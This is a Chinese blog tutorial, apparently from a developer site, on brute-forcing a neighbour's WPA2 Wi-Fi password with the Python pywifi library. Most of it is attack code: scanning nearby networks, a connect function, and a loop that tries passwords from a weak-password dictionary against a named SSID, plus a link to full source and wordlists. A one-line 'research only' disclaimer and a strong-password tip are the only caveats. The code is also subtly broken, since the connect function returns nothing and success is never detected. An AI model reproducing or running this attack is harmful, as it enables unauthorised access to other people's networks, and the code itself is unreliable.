用 Python 破解老王家的 Wi-Fi 密码,刺激!

家里没有怎么办,只要你会Python,办法总比困难多

本文就利用pywifi 这个库实验一下如何破解Wi-Fi 密码,注意,该方法仅可用来研究学习所用,不可以拿去干坏事。

1. pywifi 简介

pywifi是一个Python库,它提供了对无线网络接口的控制,允许你扫描周围的无线网络,以及连接到无线网络。但请注意,这个库并不意味着可以绕过网络安全措施来非法连接网络。

2. 环境配置

在开始之前,你需要确保Python已经安装在你的计算机上,并且安装了pywifi库。你可以使用pip命令来安装pywifi:

复制代码
pip install pywifi
pip install comtypes

3. 扫描周围的Wi-Fi网络

接下来,我们将展示如何使用pywifi来扫描周围的Wi-Fi网络。

css 复制代码
from pywifi import PyWiFi, const, Profile
import time

def scan_wifi():
    wifi = PyWiFi()
    ifaces = wifi.interfaces()[0]
    ifaces.scan()
    time.sleep(1)
    results = ifaces.scan_results()

    for network in results:
        print(f"SSID: {network.ssid}, 信号强度: {network.signal}")

scan_wifi()

这段代码将列出你周围所有Wi-Fi网络的SSID(网络名称)和信号强度。

4. 连接到Wi-Fi网络

把周围所有的WIFI网络扫出来后就可以逐个的去尝试连接了。

先来封装一个函数

scss 复制代码
pythonCopy codedef connect_wifi(ssid, password):
    wifi = PyWiFi()
    ifaces = wifi.interfaces()[0]
    ifaces.disconnect()
    time.sleep(1)
    assert ifaces.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    profile = Profile()
    profile.ssid = ssid
    profile.auth = const.AUTH_ALG_OPEN
    profile.akm.append(const.AKM_TYPE_WPA2PSK)
    profile.cipher = const.CIPHER_TYPE_CCMP
    profile.key = password

    ifaces.remove_all_network_profiles()
    tmp_profile = ifaces.add_network_profile(profile)

    ifaces.connect(tmp_profile)
    time.sleep(2)

    if ifaces.status() == const.IFACE_CONNECTED:
        print("连接成功")
    else:
        print("连接失败")

connect_wifi('你的网络名称', '你的密码')

这段代码尝试连接到一个指定的Wi-Fi网络。请将'你的网络名称'和'你的密码'替换为实际的网络名称和密码。

注意在代码示例中使用sleep函数主要是为了确保在执行网络操作(如扫描或连接)之间有足够的时间让硬件和操作系统处理这些请求。sleep会暂停当前线程指定的时间(以秒为单位),这在网络编程中尤其有用,因为许多网络操作都不是立即完成的。

然后我们在网上找一个弱口令库,用穷举法进行逐个去尝试,这种方法又称为暴力破解法

python 复制代码
def try_pwd():
    print("****************** WIFI破解 ******************")
    # 密码本路径
    path = "pwd.txt"
    # 打开文件
    file = open(path, "r")
    ssid = "TP-LINK_2020"
    while True:
        try:
            pwd = file.readline()
            # 去除密码的末尾换行符
            pwd = pwd.strip('\n')
            bool = connect_wifi("TP-LINK_2020", pwd)
            if bool:
                print("[*] 密码已破解:", pwd)
                print("[*] WiFi已自动连接!!!")
                break
            else:
                # 跳出当前循环,进行下一次循环
                print(f"正在破解 SSID 为 {ssid} 的 WIFI密码,当前校验的密码为:{pwd}")
        except:
            continue

try_pwd()

运气好的情况下,几分钟就破解了,如果密码WI-FI密码设置复杂最长一两天也是可能的,特别是如果是纯数字密码,使用最短的8位数字,最多也就1亿种可能,这对于一台计算机来说不是什么难事,你睡一觉起来就跑完了。 所以,你家的WiFi密码一定不要设置太简单了,最好是多种字符组合,防止被隔壁老王破解了。

完整源代码和穷举弱口令库获取链接: mp.weixin.qq.com/s/iIFIK_GDr...

相关推荐
KeepRobots1 小时前
11-01 温哥华不回拨:用 60 行 Python 查你的工单系统会不会差一小时(KeepRobots 工程笔记)
python
xiao77mwq1 小时前
你以为 OCR 慢?实测 81.3 s 里全是故障代价:如何把「定格态」消掉,让耗时从 6.5 s 到 13 倍差距显出原形
python
深圳市益普科技有限公司2 小时前
半导体良率管理YMS:良率与设备参数的相关性,先拉哪几组数据
人工智能·python·算法
“AI国潮设计-小江”2 小时前
【AIGC实战】Python+SDXL打造“潮汕英歌舞IP”万能立牌插件,批量生成“发财元宝蛋糕”视觉营销方案(附源码)
开发语言·人工智能·python·prompt·aigc
砚底藏山河3 小时前
python量化实操:冷热分层存储
java·开发语言·python·金融
十五年专注C++开发3 小时前
pybind11:一个跨C++和Python平台的编程库
开发语言·c++·python·pybind11
炘爚3 小时前
数据结构算法总结
数据结构·python·算法
信誓旦旦的程序猿3 小时前
【Python量化实战宝典 #18】MACD 金叉死叉手册:DIF、DEA、柱体全拆解(Python 可跑)
java·python·股票数据api·股票数据api接口·股票api数据接口·股票量化数据api·股票量化数据接口
Patrick在香港3 小时前
一个加 1 的动作,把最大值变成了最小值
python·numpy·数据类型·整数溢出·数据精度
weixin_BYSJ19874 小时前
电竞先锋网站---附源码02032
java·vue.js·spring boot·python·django·tomcat·php